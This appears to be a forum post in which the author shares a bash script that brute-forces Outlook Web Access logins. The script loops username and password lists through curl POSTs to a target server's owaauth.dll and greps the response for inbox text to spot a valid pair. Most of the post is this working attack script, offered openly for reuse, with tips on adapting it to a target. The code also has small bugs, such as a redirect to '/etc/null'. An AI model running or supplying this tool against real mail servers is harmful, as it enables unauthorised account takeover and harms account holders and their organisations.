I did a very simple bash script (i'm by no means a pro) that did what I want, I'm sharing this so maybe someone else might find anything useful in it.
however, it is S L O W (no multi threading), lack error handling, has lots of hard coded data in it, and the output is not very descriptive when a successful user:pass is found.
if you want to use it, change the post data since mine was slightly modded from the std, and make sure its http/https.
Code:
script.sh usernames passlist mail.company.com
it uses 'curl'
-d "POST data" <-- this is where the user & pass will go, I did two nested for loops to go through the lists.
-L to follow the 302 redirects
-s to be silent and not display the HTTP headers
then piped the output to grep to show if a certain sentence I know that it exists in the inbox page shows up.
Stupid, but works.
Code:
#!/bin/bash
show_help(){
echo YAOWAB "Yet another Outlook Web Access Brute-forcer"
echo Usage: $0 USERNAME_LIST PASSWORD_LIST WEBMAIL_SITE
echo by sherif eldeeb.
}
########## STANDARD CHECKS BEFORE STARTING #########
#checking number of arguments, if less than 3, exit!
if [ $# -lt 3 ]
then
echo [-] ERROR: Arguments are less than 3
echo
show_help;
exit 1
fi
#checking the existence of username file,
if [ -f $1 ]
then
echo[*] Using $1 as username list
else
echo [-] ERROR: Username file doesn\'t exist
echo
show_help;
exit 1
fi
#checking the existence of passwords file,
if [ -f $2 ]
then
echo[*] Using $2 as username list
else
echo [-] ERROR: Passwords file doesn\'t exist
echo
show_help;
exit 1
fi
# curl check
which curl>/etc/null
if [ $? -ne 0 ] ; then
echo '[-] ERROR: 'curl' not found! exiting...'
exit
fi
############ END OF STANDARD CHECKS ##############
echo[*] Starting...
for k in $(cat $1)
do
for i in $(cat $2)
do
echo[*] Trying \"$k\" with password \"$i\"...
curl -d "destination=https%3A%2F%2F$3%2Fexchange&flags=0&username=$k&password=$i&I1.x=0&I1.y=0" https://$3/exchweb/bin/auth/owaauth.dll -L -s -b cookies.txt | grep -i "This page uses frames, but your browser doesn"
done
done